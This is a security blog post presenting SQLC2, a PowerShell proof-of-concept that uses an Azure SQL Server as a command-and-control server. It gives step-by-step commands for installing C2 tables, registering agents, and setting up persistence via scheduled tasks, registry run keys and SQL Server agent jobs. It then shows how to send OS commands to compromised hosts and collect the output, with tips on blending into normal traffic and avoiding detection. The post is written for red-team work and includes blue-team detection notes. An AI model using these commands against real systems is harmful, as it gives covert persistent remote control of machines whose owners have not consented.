Databases and Clouds: SQL Server as a C2

There is no shortage of dependable control channels or RATs these days, but I thought it would be a fun side project to develop one that uses SQL Server. In this blog, I’ll provide an overview of how to create and maintain access to an environment using SQL Server as the controller and the agent using a new PoC script called SQLC2.

It should be interesting to the adversarial simulation, penetration testing, red, purple, blue, and orange? teams out there looking for something random to play with.  Did I miss any marketing terms?

Why SQL Server?

Well, the honest answer is I just spend a lot of time with SQL Server and it sounded fun.  However, there are practical reasons too.  More companies are starting to use Azure SQL Server databases. When those Azure SQL Server instances are created, they are made accessible via a subdomain of “*” on port 1433. For example, I could create an SQL Server instance named “”. As a result, some corporate network configurations allow outbound internet access to any “*” domain on port 1433.

So, the general idea is that as Azure SQL Server adoption grows, there will be more opportunity to use SQL Server as a control channel that looks kind of like normal traffic .

SQLC2 Overview

SQLC2 is a PowerShell script for deploying and managing a command and control system that uses SQL Server as both the control server and the agent.

Basic functionality includes:

  • Configuring any SQL Server to be a controller
  • Installing/Uninstalling PowerShell and SQL Server based SQLC2 agents on Windows systems
  • Submitting OS commands remotely
  • Recovering OS command results remotely

SQLC2 can be downloaded from

At its core, SQLC2 is just a few tables in an SQL Server instance that tracks agents, commands, and results. Nothing too fancy, but it may prove to be useful on some engagements.  Although this blog focuses on using an Azure SQL Server instance, you could host your own SQL Server in any cloud environment and have it listen on port 443 with SSL enabled. So, it could offer a little more flexibility depending on how much effort you want to put into it.

Naturally, SQLC2 was built for penetration test and red team engagements but be aware that for this release I didn’t make a whole lot of effort to avoid blue team detection. If that’s your goal, I recommend using the “Install-SQLC2AgentLink” agent installer instead of “Install-SQLC2AgentPs”. The link agent operates almost entirely at the SQL Server layer and doesn’t use any PowerShell so it’s able to stay under the radar more than the other supported persistence methods.

Below is a diagram illustrating the SQLC2 architecture.

Img B B

For those who are interested, below I’ve provided an overview of the Azure setup, and a walkthrough of the basic SQLC2 workflow. Enjoy!

Setting Up an SQL Server in Azure

I was going to provide an overview of how to setup an Azure database but  Microsoft has already written a nice article on the subject. You can find it at

SQLC2: Installing C2 Server Tables

The SQLC2 controller can be installed on any SQL Server by creating two tables within the provided database.  That database will then be used in future commands to check-in agents, download commands, and upload command results.

Below is the command to setup the SQLC2 tables in a target SQL instance.

Install-SQLC2Server -Verbose -Instance -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Sqlc Install Sqlc Server

You can use the SQLC2 command below to check which agents have phoned home. However,  there wont be any agents registered directly after the server installation.

Get-SQLC2Agent -Verbose -Instance -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Sqlc Checkforregisteredagents

Once agents and commands have been processed the actual C2 tables will simply store the data.  You can also connect directly to your Azure SQL Server with SQL Server Management Studio to view the results as well.  Below is an example screenshot.

Img B Faddd B

SQLC2: Installing C2 Agents

SQLC2 supports three methods for installing and running agents for downloading and executing commands from the C2 server.

  1. Direct Execution: Executing directly via the Get-SQLC2Command
  2. Windows Schedule Task: Installing an SQLC2 PowerShell agent to run via a scheduled task that runs every minute.
  3. SQL Server Agent Job: Installing an SQLC2 SQL Server agent job that communicates to the C2 server via a server link.

Option 1:  Direct Execution

You can list pending commands for the agent with the command below.   All Get-SQLC2Command execution will automatically register the agent with the C2 server.

Get-SQLC2Command -Verbose -Instance -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Sqlc Registersystem Checkforcommands

Adding the -Execute flag with run pending commands.

Get-SQLC2Command -Verbose -Execute -Instance -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Sqlc Registersystem Checkforcommandsandrunthem

The examples above show how to run SQLC2 commands manually. However, you could have any persistence method load SQLC2 and run these commands to maintain access to the environment.

Option 2:  Windows Scheduled Task

Installing an SQLC2 PowerShell agent to run via a scheduled task that runs every minute. Note: Using the -Type parameter options you can also install persistence via “run” or “image file execution options” registry keys.

Install-SQLC2AgentPs -Verbose -Instance -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Sqlc Persistpsinstall

It can be uninstalled with the command below:

Uninstall-SQLC2AgentPs -Verbose

Sqlc Persistpsuninstall

Option 3:  SQL Server Agent Job

Installing an SQLC2 SQL Server agent job that communicates to the C2 server via a server link.

Install-SQLC2AgentLink -Verbose -Instance 'MSSQLSRV04SQLSERVER2014' -C2Instance -C2Database test1 -C2Username CloudAdmin -C2Password 'BestPasswordEver!'

Sqlc Installlinkpersist

For those who are interested, I’ve also provided a TSQL version of the SQL Server agent installer you can find at

It can be uninstalled with the command below.

Uninstall-SQLC2AgentLink -Verbose -Instance 'MSSQLSRV04SQLSERVER2014'

Sqlc Installlinkpersistremove

SQLC2: Issuing OS Commands

To send a command to a specific agent, you can use the command below. Please note that in this release the agent names are either the computer name or sql server instance name the agent was installed on.  Below are a few command examples showing a registered agent and issuing a command to it.

Get-SQLC2Agent -Verbose -Instance -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Sqlc Agentischeckin

Set-SQLC2Command -Verbose -Instance -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!' -Command "Whoami" -ServerName MSSQLSRV04

Sqlc Set Command For Agent

SQLC2: Get Command Results

Below is the command for actually viewing the command results. It supports filters for servername, command status, and command id.

Get-SQLC2Result -Verbose -ServerName "MSSQLSRV04" -Instance -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Sqlc Getcommandresults

SQLC2: Uninstalling C2 Tables

Below are some additional commands for cleaning up when you done.  They include commands to clear the command history table, clear the agent table, and remove the C2 tables all together.

Clear command history:
Remove-SQLC2Command -Verbose -Instance -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'
Clear agent list:
Remove-SQLC2Agent -Username c2admin -Password 'SqlServerPasswordYes!' -Instance -Database test1 -Verbose
Remove SQLC2 tables:
Uninstall-SQLC2Server -Verbose -Instance -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Blue Team Notes

  • The PowerShell commands and agents should show up in your PowerShell logs which can be a useful data source.
  • The persistence methods for tasks, registry run keys, and “image file execution options” registry keys can all be audited, and alerts can be configured. The commands used to create the persistence also tend to generate Windows event logs can all be useful and most Endpoint Detection and Response solutions can identify the commands at execution time.
  • If possible, deploy audit configurations to internal SQL Servers to help detect rogue agent jobs, ad-hoc queries, and server links. I have some old examples of logging options here. If configured correctly they can feed alert directly into the Windows event log.
  • Although it’s harder than it sounds, try to understand what’s normal for your environment. If you can restrict access to “*” to only those who need it, then it can be an opportunity to both block outbound access and detect failed attempts.  Network and DNS logs can come in handy for that.

Wrap Up

SQLC2 is a pretty basic proof of concept, but I think it’s functional enough to illustrate the idea.  Eventually, I’ll likely role it into PowerUpSQL for the sake of keeping the offensive SQL Server code together. At that point, maybe I’ll also role in a few CLR functions to step it up a bit.  In the meantime, for those of you looking to explore more offensive cloudscape options, check out Karl Fosaaen’s blog on other Azure services that can be useful during red team engagements. It’s pretty interesting.

Discover how NetSPI ASM solution helps organizations identify, inventory, and reduce risk to both known and unknown assets.